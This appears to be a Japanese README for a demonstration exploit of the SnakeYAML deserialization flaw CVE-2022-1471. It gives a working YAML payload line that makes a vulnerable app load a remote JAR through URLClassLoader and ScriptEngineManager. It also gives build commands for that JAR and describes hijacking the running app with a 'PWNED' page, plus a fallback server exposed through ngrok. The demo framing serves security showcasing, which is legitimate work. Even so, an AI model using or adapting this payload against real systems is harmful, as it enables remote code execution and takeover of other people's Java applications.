
SnakeYAML CVE-2022-1471 エクスプロイトペイロード(デモ用)
CVE-2022-1471 向けの SnakeYAML デシリアライゼーション悪用ペイロードです。artsploit/yaml-payload をベースに改良しました(元は mbechler/marshalsec に基づいています)。
SnakeYAML の安全でない Yaml.load() を介して読み込まれると、このペイロードは実行中のアプリケーションを乗っ取り、"You've Been PWNED" ページに置き換えます:
Tomcat Valve の注入が利用できない場合(Spring アプリ以外など)、ポート 9999 でスタンドアロン HTTP サーバーを起動し、ngrok が実行中であれば ngrok トンネルを自動作成するフォールバックに切り替わります。
これは macOS 上のローカルと CI/CD パイプライン(例: Ubuntu 上の GitHub Actions)の両方で動作します。
SnakeYAML ペイロードは、Java SPI(Service Provider Interface)を介して ScriptEngineManager をトリガーします:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
yaml-payload.jar を指す java.net.URL をインスタンス化しますURLClassLoader でラップし、リモートクラスをロードしますScriptEngineManager は META-INF/services/javax.script.ScriptEngineFactory を介して AwesomeScriptEngineFactory を検出してロードします/ へのすべてのレスポンスを PWNED ページに置き換えますJDK 17+ が必要です:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
maven-demo プロジェクトでエクスプロイトペイロードとして使用されます。ペイロード文字列をアプリの name フィールドに貼り付けると RCE がトリガーされます。次のリクエストでアプリのページが PWNED ページに置き換えられます。完全なデモ手順については、そのリポジトリの README を参照してください。